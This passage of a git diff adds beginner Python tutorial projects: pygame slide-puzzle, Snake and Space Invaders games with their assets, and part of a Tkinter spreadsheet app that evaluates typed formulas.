00000000..6190805e --- /dev/null +++ b/gui-programming/slide-puzzle/README.md @@ -0,0 +1 @@ +# [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/cell.py b/gui-programming/slide-puzzle/cell.py new file mode 100644 index 00000000..0c92489a --- /dev/null +++ b/gui-programming/slide-puzzle/cell.py @@ -0,0 +1,29 @@ +import pygame + +class Cell: + def __init__(self, row, col, cell_size, c_id): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.c_id = c_id + + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.width, + self.height + ) + + self.occupying_piece = None + + def draw(self, display): + pygame.draw.rect(display, (0,0,0), self.rect) + if self.occupying_piece != None and self.occupying_piece.p_id != 8: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/frame.py b/gui-programming/slide-puzzle/frame.py new file mode 100644 index 00000000..04647307 --- /dev/null +++ b/gui-programming/slide-puzzle/frame.py @@ -0,0 +1,95 @@ +import pygame +import random + +from cell import Cell +from piece import Piece + +class Frame: + def __init__(self, frame_size): + self.grid_size = 3 + self.cell_width = frame_size // self.grid_size + self.cell_height = frame_size // self.grid_size + self.cell_size = (self.cell_width, self.cell_height) + + self.grid = self._generate_cell() + self.pieces = self._generate_piece() + + self._setup() + self.randomize_puzzle() + + def _generate_cell(self): + cells = [] + c_id = 0 + for col in range(self.grid_size): + new_row = [] + for row in range(self.grid_size): + new_row.append(Cell(row, col, self.cell_size, c_id)) + c_id += 1 + cells.append(new_row) + return cells + + def _generate_piece(self): + puzzle_pieces = [] + p_id = 0 + for col in range(self.grid_size): + for row in range(self.grid_size): + puzzle_pieces.append(Piece(self.cell_size, p_id)) + p_id += 1 + return puzzle_pieces + + def _setup(self): + for row in self.grid: + for cell in row: + tile_piece = self.pieces[-1] + cell.occupying_piece = tile_piece + self.pieces.remove(tile_piece) + + def randomize_puzzle(self): + moves = [(0, 1),(0, -1),(1, 0),(-1, 0)] + for i in range(30): + shuffle_move = random.choice(moves) + for row in self.grid: + for cell in row: + tile_x = self.grid.index(row) + shuffle_move[0] + tile_y = row.index(cell) + shuffle_move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + c = (cell, new_cell) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + else: + continue + + def _is_move_valid(self, click): + moves = { + 79: (0, 1), + 80: (0, -1), + 81: (1, 0), + 82: (-1, 0) + } + for row in self.grid: + for cell in row: + move = moves[click.scancode] + tile_x = self.grid.index(row) + move[0] + tile_y = row.index(cell) + move[1] + if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2: + new_cell = self.grid[tile_x][tile_y] + if new_cell.occupying_piece.img == None: + return (cell, new_cell) + else: + continue + + def handle_click(self, click): + c = self._is_move_valid(click) + try: + c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece + except: + return False + + def draw(self, display): + for row in self.grid: + for cell in row: + cell.draw(display) diff --git a/gui-programming/slide-puzzle/game.py b/gui-programming/slide-puzzle/game.py new file mode 100644 index 00000000..7a51e13c --- /dev/null +++ b/gui-programming/slide-puzzle/game.py @@ -0,0 +1,32 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self): + self.font = pygame.font.SysFont("Courier New", 35) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def arrow_key_clicked(self, click): + try: + if click.key == pygame.K_LEFT or click.key == pygame.K_RIGHT or click.key == pygame.K_UP or click.key == pygame.K_DOWN: + return(True) + except: + return(False) + + def is_game_over(self, frame): + for row in frame.grid: + for cell in row: + piece_id = cell.occupying_piece.p_id + if cell.c_id == piece_id: + is_arranged = True + else: + is_arranged = False + break + return is_arranged + + def message(self, screen): + screen.fill(self.background_color, (5, 460, 440, 35)) + instructions = self.font.render('You Win!!', True, self.message_color) + screen.blit(instructions,(125,460)) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/main.py b/gui-programming/slide-puzzle/main.py new file mode 100644 index 00000000..247d530e --- /dev/null +++ b/gui-programming/slide-puzzle/main.py @@ -0,0 +1,59 @@ +import pygame + +from frame import Frame +from game import Game + +pygame.init() +pygame.font.init() + +class Puzzle: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + self.is_arranged = False + self.font = pygame.font.SysFont("Courier New", 33) + self.background_color = (255, 174, 66) + self.message_color = (17, 53, 165) + + def _draw(self, frame): + frame.draw(self.screen) + pygame.display.update() + + def _instruction(self): + instructions = self.font.render('Use Arrow Keys to Move', True, self.message_color) + screen.blit(instructions,(5,460)) + + def main(self, frame_size): + self.screen.fill("white") + frame = Frame(frame_size) + game = Game() + self._instruction() + while self.running: + + if game.is_game_over(frame): + self.is_arranged = True + game.message(self.screen) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + self.running = False + + if event.type == pygame.KEYDOWN: + if not self.is_arranged: + if game.arrow_key_clicked(event): + frame.handle_click(event) + + self._draw(frame) + self.FPS.tick(30) + + pygame.quit() + + +if __name__ == "__main__": + window_size = (450, 500) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Slide Puzzle") + + game = Puzzle(screen) + game.main(window_size[0]) \ No newline at end of file diff --git a/gui-programming/slide-puzzle/piece.py b/gui-programming/slide-puzzle/piece.py new file mode 100644 index 00000000..b07647fc --- /dev/null +++ b/gui-programming/slide-puzzle/piece.py @@ -0,0 +1,13 @@ +import pygame + +class Piece: + def __init__(self, piece_size, p_id): + self.piece_size = piece_size + self.p_id = p_id + + if self.p_id != 8: + img_path = f'puzz-pieces/{self.p_id}.jpg' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, self.piece_size) + else: + self.img = None \ No newline at end of file diff --git a/gui-programming/slide-puzzle/puzz-pieces/0.jpg b/gui-programming/slide-puzzle/puzz-pieces/0.jpg new file mode 100644 index 00000000..051d8315 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/0.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/1.jpg b/gui-programming/slide-puzzle/puzz-pieces/1.jpg new file mode 100644 index 00000000..eddfd295 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/1.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/2.jpg b/gui-programming/slide-puzzle/puzz-pieces/2.jpg new file mode 100644 index 00000000..d3d2ffa0 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/2.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/3.jpg b/gui-programming/slide-puzzle/puzz-pieces/3.jpg new file mode 100644 index 00000000..77f61e3e Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/3.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/4.jpg b/gui-programming/slide-puzzle/puzz-pieces/4.jpg new file mode 100644 index 00000000..592c306f Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/4.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/5.jpg b/gui-programming/slide-puzzle/puzz-pieces/5.jpg new file mode 100644 index 00000000..0bb5ed4b Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/5.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/6.jpg b/gui-programming/slide-puzzle/puzz-pieces/6.jpg new file mode 100644 index 00000000..d0fe5e3c Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/6.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/7.jpg b/gui-programming/slide-puzzle/puzz-pieces/7.jpg new file mode 100644 index 00000000..99a6fa64 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/7.jpg differ diff --git a/gui-programming/slide-puzzle/puzz-pieces/8.jpg b/gui-programming/slide-puzzle/puzz-pieces/8.jpg new file mode 100644 index 00000000..8bc3f901 Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/8.jpg differ diff --git a/gui-programming/slide-puzzle/requirements.txt b/gui-programming/slide-puzzle/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/slide-puzzle/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/README.md b/gui-programming/snake-game/README.md new file mode 100644 index 00000000..6745bc0f --- /dev/null +++ b/gui-programming/snake-game/README.md @@ -0,0 +1 @@ +# [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/snake-game/requirements.txt b/gui-programming/snake-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/snake-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/snake-game/snake.py b/gui-programming/snake-game/snake.py new file mode 100644 index 00000000..b99c141f --- /dev/null +++ b/gui-programming/snake-game/snake.py @@ -0,0 +1,156 @@ +import pygame +import random + +# setting up some initial parameters +WIDTH, HEIGHT = 600, 600 +BLOCK_SIZE = 20 + +pygame.font.init() +score_font = pygame.font.SysFont("consolas", 20) # or any other font you'd like +score = 0 + +# color definition +WHITE = (255, 255, 255) +RED = (255, 0, 0) + +# initialize pygame +pygame.init() + +# setting up display +win = pygame.display.set_mode((WIDTH, HEIGHT)) + +# setting up clock +clock = pygame.time.Clock() + +# snake and food initialization +snake_pos = [[WIDTH//2, HEIGHT//2]] +snake_speed = [0, BLOCK_SIZE] + +teleport_walls = True # set this to True to enable wall teleporting + + +def generate_food(): + while True: + x = random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + y = random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE + food_pos = [x, y] + if food_pos not in snake_pos: + return food_pos + +food_pos = generate_food() + +def draw_objects(): + win.fill((0, 0, 0)) + for pos in snake_pos: + pygame.draw.rect(win, WHITE, pygame.Rect(pos[0], pos[1], BLOCK_SIZE, BLOCK_SIZE)) + pygame.draw.rect(win, RED, pygame.Rect(food_pos[0], food_pos[1], BLOCK_SIZE, BLOCK_SIZE)) + # Render the score + score_text = score_font.render(f"Score: {score}", True, WHITE) + win.blit(score_text, (10, 10)) # draws the score on the top-left corner + + +def update_snake(): + global food_pos, score + new_head = [snake_pos[0][0] + snake_speed[0], snake_pos[0][1] + snake_speed[1]] + + if teleport_walls: + # if the new head position is outside of the screen, wrap it to the other side + if new_head[0] >= WIDTH: + new_head[0] = 0 + elif new_head[0] < 0: + new_head[0] = WIDTH - BLOCK_SIZE + if new_head[1] >= HEIGHT: + new_head[1] = 0 + elif new_head[1] < 0: + new_head[1] = HEIGHT - BLOCK_SIZE + + if new_head == food_pos: + food_pos = generate_food() # generate new food + score += 1 # increment score when food is eaten + else: + snake_pos.pop() # remove the last element from the snake + + snake_pos.insert(0, new_head) # add the new head to the snake + + +def game_over(): + # game over when snake hits the boundaries or runs into itself + if teleport_walls: + return snake_pos[0] in snake_pos[1:] + else: + return snake_pos[0] in snake_pos[1:] or \ + snake_pos[0][0] > WIDTH - BLOCK_SIZE or \ + snake_pos[0][0] < 0 or \ + snake_pos[0][1] > HEIGHT - BLOCK_SIZE or \ + snake_pos[0][1] < 0 + + +def game_over_screen(): + global score + win.fill((0, 0, 0)) + game_over_font = pygame.font.SysFont("consolas", 50) + game_over_text = game_over_font.render(f"Game Over! Score: {score}", True, WHITE) + win.blit(game_over_text, (WIDTH // 2 - game_over_text.get_width() // 2, HEIGHT // 2 - game_over_text.get_height() // 2)) + pygame.display.update() + + while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + return + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_r: + run() # replay the game + return + elif event.key == pygame.K_q: + pygame.quit() # quit the game + return + + + +def run(): + global snake_speed, snake_pos, food_pos, score + snake_pos = [[WIDTH//2, HEIGHT//2]] + snake_speed = [0, BLOCK_SIZE] + food_pos = generate_food() + score = 0 + running = True + while running: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + keys = pygame.key.get_pressed() + for key in keys: + if keys[pygame.K_UP]: + # when UP is pressed but the snake is moving down, ignore the input + if snake_speed[1] == BLOCK_SIZE: + continue + snake_speed = [0, -BLOCK_SIZE] + if keys[pygame.K_DOWN]: + # when DOWN is pressed but the snake is moving up, ignore the input + if snake_speed[1] == -BLOCK_SIZE: + continue + snake_speed = [0, BLOCK_SIZE] + if keys[pygame.K_LEFT]: + # when LEFT is pressed but the snake is moving right, ignore the input + if snake_speed[0] == BLOCK_SIZE: + continue + snake_speed = [-BLOCK_SIZE, 0] + if keys[pygame.K_RIGHT]: + # when RIGHT is pressed but the snake is moving left, ignore the input + if snake_speed[0] == -BLOCK_SIZE: + continue + snake_speed = [BLOCK_SIZE, 0] + + draw_objects() + update_snake() + if game_over(): + game_over_screen() + break + pygame.display.update() + clock.tick(10) + pygame.quit() + + +if __name__ == '__main__': + run() diff --git a/gui-programming/space-invaders-game/README.md b/gui-programming/space-invaders-game/README.md new file mode 100644 index 00000000..444ff669 --- /dev/null +++ b/gui-programming/space-invaders-game/README.md @@ -0,0 +1 @@ +# [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/alien.py b/gui-programming/space-invaders-game/alien.py new file mode 100644 index 00000000..62b8a09e --- /dev/null +++ b/gui-programming/space-invaders-game/alien.py @@ -0,0 +1,39 @@ +import pygame + +from settings import BULLET_SIZE +from bullet import Bullet + +class Alien(pygame.sprite.Sprite): + def __init__(self, pos, size, row_num): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # alien info + img_path = f'assets/aliens/{row_num}.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.move_speed = 5 + self.to_direction = "right" + + # alien status + self.bullets = pygame.sprite.GroupSingle() + + + def move_left(self): + self.rect.x -= self.move_speed + + def move_right(self): + self.rect.x += self.move_speed + + def move_bottom(self): + self.rect.y += self.move_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.centery) + self.bullets.add(Bullet(specific_pos, BULLET_SIZE, "enemy")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/assets/aliens/0.png b/gui-programming/space-invaders-game/assets/aliens/0.png new file mode 100644 index 00000000..b403b43e Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/0.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/1.png b/gui-programming/space-invaders-game/assets/aliens/1.png new file mode 100644 index 00000000..37b59d02 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/1.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/2.png b/gui-programming/space-invaders-game/assets/aliens/2.png new file mode 100644 index 00000000..ded6e0f8 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/2.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png new file mode 100644 index 00000000..12dbfe33 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/player-bullet.png b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png new file mode 100644 index 00000000..da000f45 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/life/life.png b/gui-programming/space-invaders-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/life/life.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship.png b/gui-programming/space-invaders-game/assets/ship/ship.png new file mode 100644 index 00000000..e3ab8a9a Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship1.png b/gui-programming/space-invaders-game/assets/ship/ship1.png new file mode 100644 index 00000000..29147e82 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship1.png differ diff --git a/gui-programming/space-invaders-game/bullet.py b/gui-programming/space-invaders-game/bullet.py new file mode 100644 index 00000000..d782e991 --- /dev/null +++ b/gui-programming/space-invaders-game/bullet.py @@ -0,0 +1,34 @@ +import pygame +from settings import BULLET_SPEED, HEIGHT + +class Bullet(pygame.sprite.Sprite): + def __init__(self, pos, size, side): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # bullet info + img_path = f'assets/bullet/{side}-bullet.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # different bullet movement direction for both player and enemy (alien) + if side == "enemy": + self.move_speed = BULLET_SPEED + elif side == "player": + self.move_speed = (- BULLET_SPEED) + + + def _move_bullet(self): + self.rect.y += self.move_speed + + + def update(self): + self._move_bullet() + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + # delete the bullet if it get through out of the screen + if self.rect.bottom <= 0 or self.rect.top >= HEIGHT: + self.kill() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/display.py b/gui-programming/space-invaders-game/display.py new file mode 100644 index 00000000..2dd2e514 --- /dev/null +++ b/gui-programming/space-invaders-game/display.py @@ -0,0 +1,43 @@ +import pygame +from settings import WIDTH, HEIGHT, SPACE, FONT_SIZE, EVENT_FONT_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.score_font = pygame.font.SysFont("monospace", FONT_SIZE) + self.level_font = pygame.font.SysFont("impact", FONT_SIZE) + self.event_font = pygame.font.SysFont("impact", EVENT_FONT_SIZE) + self.text_color = pygame.Color("blue") + self.event_color = pygame.Color("red") + + + def show_life(self, life): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + life_x = SPACE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (SPACE // 2))) + life_x += life_size + + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.score_font.render(f'score: {score}', True, self.text_color) + self.screen.blit(score, (score_x, (HEIGHT + (SPACE // 2)))) + + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.level_font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x * 2, (HEIGHT + (SPACE // 2)))) + + + def game_over_message(self): + message = self.event_font.render('GAME OVER!!', True, self.event_color) + self.screen.blit(message, ((WIDTH // 3) - (EVENT_FONT_SIZE // 2), (HEIGHT // 2) - (EVENT_FONT_SIZE // 2))) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/main.py b/gui-programming/space-invaders-game/main.py new file mode 100644 index 00000000..69f92c07 --- /dev/null +++ b/gui-programming/space-invaders-game/main.py @@ -0,0 +1,36 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_THICKNESS +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_THICKNESS)) +pygame.display.set_caption("Space Invader") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_SPACE: + world.player_move(attack = True) + + world.player_move() + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/requirements.txt b/gui-programming/space-invaders-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/space-invaders-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/space-invaders-game/settings.py b/gui-programming/space-invaders-game/settings.py new file mode 100644 index 00000000..48e871da --- /dev/null +++ b/gui-programming/space-invaders-game/settings.py @@ -0,0 +1,11 @@ +WIDTH, HEIGHT = 720, 450 + +SPACE = 30 +FONT_SIZE = 20 +EVENT_FONT_SIZE = 60 +NAV_THICKNESS = 50 +CHARACTER_SIZE = 30 +PLAYER_SPEED = 10 +ENEMY_SPEED = 1 +BULLET_SPEED = 15 # for both sides +BULLET_SIZE = 10 \ No newline at end of file diff --git a/gui-programming/space-invaders-game/ship.py b/gui-programming/space-invaders-game/ship.py new file mode 100644 index 00000000..c5852261 --- /dev/null +++ b/gui-programming/space-invaders-game/ship.py @@ -0,0 +1,42 @@ +import pygame + +from settings import PLAYER_SPEED, BULLET_SIZE +from bullet import Bullet + +class Ship(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # ship info + img_path = 'assets/ship/ship.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.ship_speed = PLAYER_SPEED + + # ship status + self.life = 3 + self.player_bullets = pygame.sprite.Group() + + + def move_left(self): + self.rect.x -= self.ship_speed + + def move_up(self): + self.rect.y -= self.ship_speed + + def move_right(self): + self.rect.x += self.ship_speed + + def move_bottom(self): + self.rect.y += self.ship_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.y) + self.player_bullets.add(Bullet(specific_pos, BULLET_SIZE, "player")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/world.py b/gui-programming/space-invaders-game/world.py new file mode 100644 index 00000000..216fceb8 --- /dev/null +++ b/gui-programming/space-invaders-game/world.py @@ -0,0 +1,182 @@ +import pygame +from ship import Ship +from alien import Alien +from settings import HEIGHT, WIDTH, ENEMY_SPEED, CHARACTER_SIZE, BULLET_SIZE, NAV_THICKNESS +from bullet import Bullet +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.aliens = pygame.sprite.Group() + self.display = Display(self.screen) + + self.game_over = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + def _generate_aliens(self): + # generate opponents + alien_cols = (WIDTH // CHARACTER_SIZE) // 2 + alien_rows = 3 + for y in range(alien_rows): + for x in range(alien_cols): + my_x = CHARACTER_SIZE * x + my_y = CHARACTER_SIZE * y + specific_pos = (my_x, my_y) + self.aliens.add(Alien(specific_pos, CHARACTER_SIZE, y)) + + # create and add player to the screen + def _generate_world(self): + # create the player's ship + player_x, player_y = WIDTH // 2, HEIGHT - CHARACTER_SIZE + center_size = CHARACTER_SIZE // 2 + player_pos = (player_x - center_size, player_y) + self.player.add(Ship(player_pos, CHARACTER_SIZE)) + + self._generate_aliens() + + + def add_additionals(self): + # add nav bar + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_THICKNESS) + pygame.draw.rect(self.screen, pygame.Color("gray"), nav) + + # render player's life, score and game level + self.display.show_life(self.player.sprite.life) + self.display.show_score(self.player_score) + self.display.show_level(self.game_level) + + + def player_move(self, attack = False): + keys = pygame.key.get_pressed() + + if keys[pygame.K_a] and not self.game_over or keys[pygame.K_LEFT] and not self.game_over: + if self.player.sprite.rect.left > 0: + self.player.sprite.move_left() + if keys[pygame.K_d] and not self.game_over or keys[pygame.K_RIGHT] and not self.game_over: + if self.player.sprite.rect.right < WIDTH: + self.player.sprite.move_right() + if keys[pygame.K_w] and not self.game_over or keys[pygame.K_UP] and not self.game_over: + if self.player.sprite.rect.top > 0: + self.player.sprite.move_up() + if keys[pygame.K_s] and not self.game_over or keys[pygame.K_DOWN] and not self.game_over: + if self.player.sprite.rect.bottom < HEIGHT: + self.player.sprite.move_bottom() + + # game restart button + if keys[pygame.K_r]: + self.game_over = False + self.player_score = 0 + self.game_level = 1 + for alien in self.aliens.sprites(): + alien.kill() + self._generate_world() + + if attack and not self.game_over: + self.player.sprite._shoot() + + + def _detect_collisions(self): + # checks if player bullet hits the enemies (aliens) + player_attack_collision = pygame.sprite.groupcollide(self.aliens, self.player.sprite.player_bullets, True, True) + if player_attack_collision: + self.player_score += 10 + + # checks if the aliens' bullet hit the player + for alien in self.aliens.sprites(): + alien_attack_collision = pygame.sprite.groupcollide(alien.bullets, self.player, True, False) + if alien_attack_collision: + self.player.sprite.life -= 1 + break + + # checks if the aliens hit the player + alien_to_player_collision = pygame.sprite.groupcollide(self.aliens, self.player, True, False) + if alien_to_player_collision: + self.player.sprite.life -= 1 + + + def _alien_movement(self): + move_sideward = False + move_forward = False + + for alien in self.aliens.sprites(): + if alien.to_direction == "right" and alien.rect.right < WIDTH or alien.to_direction == "left" and alien.rect.left > 0: + move_sideward = True + move_forward = False + else: + move_sideward = False + move_forward = True + alien.to_direction = "left" if alien.to_direction == "right" else "right" + break + + for alien in self.aliens.sprites(): + if move_sideward and not move_forward: + if alien.to_direction == "right": + alien.move_right() + if alien.to_direction == "left": + alien.move_left() + if not move_sideward and move_forward: + alien.move_bottom() + + + def _alien_shoot(self): + for alien in self.aliens.sprites(): + if (WIDTH - alien.rect.x) // CHARACTER_SIZE == (WIDTH - self.player.sprite.rect.x) // CHARACTER_SIZE: + alien._shoot() + break + + + def _check_game_state(self): + # check if game over + if self.player.sprite.life <= 0: + self.game_over = True + self.display.game_over_message() + for alien in self.aliens.sprites(): + if alien.rect.top >= HEIGHT: + self.game_over = True + self.display.game_over_message() + break + + # check if next level + if len(self.aliens) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + self._generate_aliens() + for alien in self.aliens.sprites(): + alien.move_speed += self.game_level - 1 + + + def update(self): + # detecting if bullet, alien, and player group is colliding + self._detect_collisions() + + # allows the aliens to move + self._alien_movement() + + # allows alien to shoot the player + self._alien_shoot() + + # bullets rendering + self.player.sprite.player_bullets.update() + self.player.sprite.player_bullets.draw(self.screen) + + [alien.bullets.update() for alien in self.aliens.sprites()] + [alien.bullets.draw(self.screen) for alien in self.aliens.sprites()] + + # player ship rendering + self.player.update() + self.player.draw(self.screen) + + # alien rendering + self.aliens.draw(self.screen) + + # add nav + self.add_additionals() + + # checks game state + self._check_game_state() \ No newline at end of file diff --git a/gui-programming/spreadsheet-app/README.md b/gui-programming/spreadsheet-app/README.md new file mode 100644 index 00000000..9105a098 --- /dev/null +++ b/gui-programming/spreadsheet-app/README.md @@ -0,0 +1 @@ +# [How to Build a Spreadsheet App with Tkinter in Python](https://www.thepythoncode.com/article/spreadsheet-app-using-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/spreadsheet-app/spreadsheet_app.py b/gui-programming/spreadsheet-app/spreadsheet_app.py new file mode 100644 index 00000000..57515b3f --- /dev/null +++ b/gui-programming/spreadsheet-app/spreadsheet_app.py @@ -0,0 +1,126 @@ +# Imports +from tkinter import * +import string +import sys +import ctypes + +# Increase Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Define X and Y Axis Lists +xAxis = string.ascii_lowercase[0:7] +yAxis = range(0, 12) + +# Cells will hold the strings vars and the lables +cells = {} + +# Open the content of the given file +# if one was provided and save it as a two +# dimensional list. +CsvContent = '' +if len(sys.argv) > 1: + with open(sys.argv[1], 'r') as f: + CsvContent = f.read().split('\n') + for i, layer in enumerate(CsvContent): + CsvContent[i] = layer.split(',') + +# Make a new Top Level Element (Window) +root = Tk() + +# Set the the title to also mention the given file name +# if there is one +title = "Spreadsheet App" if CsvContent == '' else f"Spreadsheet App - {sys.argv[1]}" +root.title(title) + +# Evaluating a cell +def evaluateCell(cellId, *i): + + # Get the content from the string var + # and make it lowercase + content = cells[cellId][0].get() + content = content.lower() + + # get the reference to the label + label = cells[cellId][1] + + # if the cell starts with a = it is evaluated + if content.startswith('='): + + # Loop through all cells ... + for cell in cells: + + # ... and see if their name appears in this cell + if cell in content.lower(): + + # if it is then replace the name occurences + # with the evaluated content from there. + content = content.replace(cell, str(evaluateCell(cell))) + + # Get the content without the = and try to evaluate it + content = content[1:] + try: + content = eval(content) + except: + content = 'NAN' + label['text'] = content + return content + + # If not, the label just shows the content + else: + label['text'] = content + return content + +# Call the eval function for every cell every ten milliseconds. +def updateAllCells(): + + # Call it again + root.after(10, updateAllCells) + + # Loop through all cells + for cell in cells: + evaluateCell(cell) + + +# Display the Y axis lables +for y in yAxis: + label = Label(root, text = y, width=5, background='white') + label.grid(row=y + 1, column=0) + +# Display the X axis lables with enumerate +for i, x in enumerate(xAxis): + label = Label(root, text = x, width=35, background='white') + label.grid(row=0, column=i + 1, sticky='n') + + +# Display the Cells, by using a nested loop +for y in yAxis: + for xcoor, x in enumerate(xAxis): + + # Generate a Unique ID for the cell with the coordinates + id = f'{x}{y}' + + # Make String Var associated with the Cell + var = StringVar(root, '', id) + + # Make Entry and label, offset each axis by one because of the lables + e = Entry(root, textvariable=var, width=30) + e.grid(row=y + 1, column=xcoor + 1) + + label = Label(root, text = '', width=5) + label.grid(row=y + 1, column=xcoor + 1, sticky='e') + + # Save the string var and a reference to the lables in the dictionary + cells[id] = [var, label] + + 